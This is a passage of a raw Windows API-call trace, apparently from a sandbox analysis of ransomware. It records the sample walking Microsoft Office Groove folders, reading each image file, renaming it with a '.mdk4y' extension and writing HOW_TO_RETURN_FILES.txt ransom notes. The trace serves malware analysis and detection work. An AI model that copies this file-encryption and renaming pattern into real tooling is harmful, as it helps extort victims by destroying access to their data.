lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5431, lpOverlapped=0x0) returned 1 [0214.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829001600000) returned 1 [0214.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829001600000) returned 1 [0214.786] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg.mdk4y")) returned 1 [0214.788] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.788] AreFileApisANSI () returned 1 [0214.788] GetACP () returned 0x4e4 [0214.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WebToolIconImagesMask.bmp", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WebToolIconImagesMask.bmpolors.bmp", lpUsedDefaultChar=0x37dec0) returned 25 [0214.788] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829001800000) returned 1 [0214.789] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1538, lpOverlapped=0x0) returned 1 [0214.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829002700000) returned 1 [0214.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829002700000) returned 1 [0214.797] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimagesmask.bmp.mdk4y")) returned 1 [0214.798] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.798] AreFileApisANSI () returned 1 [0214.798] GetACP () returned 0x4e4 [0214.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WebToolImages16x16.jpg", cchWideChar=22, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WebToolImages16x16.jpgbmp", lpUsedDefaultChar=0x37dec0) returned 22 [0214.798] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829006000000) returned 1 [0214.830] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1995, lpOverlapped=0x0) returned 1 [0214.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829007100000) returned 1 [0214.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829007100000) returned 1 [0214.841] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimages16x16.jpg.mdk4y")) returned 1 [0214.843] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.843] AreFileApisANSI () returned 1 [0214.843] GetACP () returned 0x4e4 [0214.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WebToolImagesMask16x16.bmp", cchWideChar=26, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WebToolImagesMask16x16.bmplors.bmp", lpUsedDefaultChar=0x37dec0) returned 26 [0214.843] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829007400000) returned 1 [0214.844] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x838, lpOverlapped=0x0) returned 1 [0214.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829008000000) returned 1 [0214.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829008000000) returned 1 [0214.850] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp.mdk4y")) returned 1 [0214.851] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.851] AreFileApisANSI () returned 1 [0214.851] GetACP () returned 0x4e4 [0214.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSSFilesToolIconImages.jpg", cchWideChar=26, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WSSFilesToolIconImages.jpg", lpUsedDefaultChar=0x37dec0) returned 26 [0214.852] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829008300000) returned 1 [0214.853] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2308, lpOverlapped=0x0) returned 1 [0214.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829009200000) returned 1 [0214.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829009200000) returned 1 [0214.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg.mdk4y")) returned 1 [0214.863] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.863] AreFileApisANSI () returned 1 [0214.863] GetACP () returned 0x4e4 [0214.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSSFilesToolIconImagesMask.bmp", cchWideChar=30, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WSSFilesToolIconImagesMask.bmp.bmp", lpUsedDefaultChar=0x37dec0) returned 30 [0214.863] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829009500000) returned 1 [0214.865] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x638, lpOverlapped=0x0) returned 1 [0214.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829010200000) returned 1 [0214.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829010200000) returned 1 [0214.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp.mdk4y")) returned 1 [0214.873] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0214.874] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0214.875] AreFileApisANSI () returned 1 [0214.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0214.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0214.876] GetFileType (hFile=0xd8) returned 0x1 [0214.876] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0214.876] AreFileApisANSI () returned 1 [0214.876] GetACP () returned 0x4e4 [0214.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ToolData", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ToolData", lpUsedDefaultChar=0x37df4c) returned 8 [0214.877] AreFileApisANSI () returned 1 [0214.877] GetACP () returned 0x4e4 [0214.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=59, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\") returned 59 [0214.877] AreFileApisANSI () returned 1 [0214.877] GetACP () returned 0x4e4 [0214.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0214.877] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.877] AreFileApisANSI () returned 1 [0214.877] GetACP () returned 0x4e4 [0214.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0214.877] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.877] AreFileApisANSI () returned 1 [0214.877] GetACP () returned 0x4e4 [0214.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="groove.net", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="groove.nettefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 10 [0214.877] AreFileApisANSI () returned 1 [0214.877] GetACP () returned 0x4e4 [0214.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=70, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\C:\\Pȁ") returned 70 [0214.878] AreFileApisANSI () returned 1 [0214.878] GetACP () returned 0x4e4 [0214.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 1 [0214.878] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0214.879] AreFileApisANSI () returned 1 [0214.879] GetACP () returned 0x4e4 [0214.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 2 [0214.879] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0214.879] AreFileApisANSI () returned 1 [0214.879] GetACP () returned 0x4e4 [0214.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Calendar", cchWideChar=8, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="CalendarAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 8 [0214.879] AreFileApisANSI () returned 1 [0214.879] GetACP () returned 0x4e4 [0214.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=79, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\hῠml") returned 79 [0214.890] AreFileApisANSI () returned 1 [0214.890] GetACP () returned 0x4e4 [0214.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".BSbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37dda8) returned 1 [0214.890] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.890] AreFileApisANSI () returned 1 [0214.890] GetACP () returned 0x4e4 [0214.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..Sbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37dda8) returned 2 [0214.890] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.890] AreFileApisANSI () returned 1 [0214.890] GetACP () returned 0x4e4 [0214.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CalendarToolIconImages.jpg", cchWideChar=26, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CalendarToolIconImages.jpg==", lpUsedDefaultChar=0x37dda8) returned 26 [0214.890] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0214.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829012100000) returned 1 [0214.891] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3424, lpOverlapped=0x0) returned 1 [0214.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829012200000) returned 1 [0214.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829012300000) returned 1 [0214.893] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg.mdk4y")) returned 1 [0214.894] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.894] AreFileApisANSI () returned 1 [0214.894] GetACP () returned 0x4e4 [0214.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CalendarToolIconImagesMask.bmp", cchWideChar=30, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CalendarToolIconImagesMask.bmpT", lpUsedDefaultChar=0x37dda8) returned 30 [0214.894] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0214.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829012500000) returned 1 [0214.895] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xc38, lpOverlapped=0x0) returned 1 [0214.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829012700000) returned 1 [0214.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829012700000) returned 1 [0214.897] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp.mdk4y")) returned 1 [0214.898] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.898] AreFileApisANSI () returned 1 [0214.898] GetACP () returned 0x4e4 [0214.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CalendarViewButtonImages.jpg", cchWideChar=28, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CalendarViewButtonImages.jpgmp", lpUsedDefaultChar=0x37dda8) returned 28 [0214.898] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0214.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829012800000) returned 1 [0214.899] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3fa2, lpOverlapped=0x0) returned 1 [0214.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829013000000) returned 1 [0214.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829013000000) returned 1 [0214.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg.mdk4y")) returned 1 [0214.901] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.901] AreFileApisANSI () returned 1 [0214.901] GetACP () returned 0x4e4 [0214.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GlobeButtonImage.jpg", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="GlobeButtonImage.jpgages.jpg", lpUsedDefaultChar=0x37dda8) returned 20 [0214.901] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0214.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829013200000) returned 1 [0214.902] ReadFile (in: hFile=0x13c, 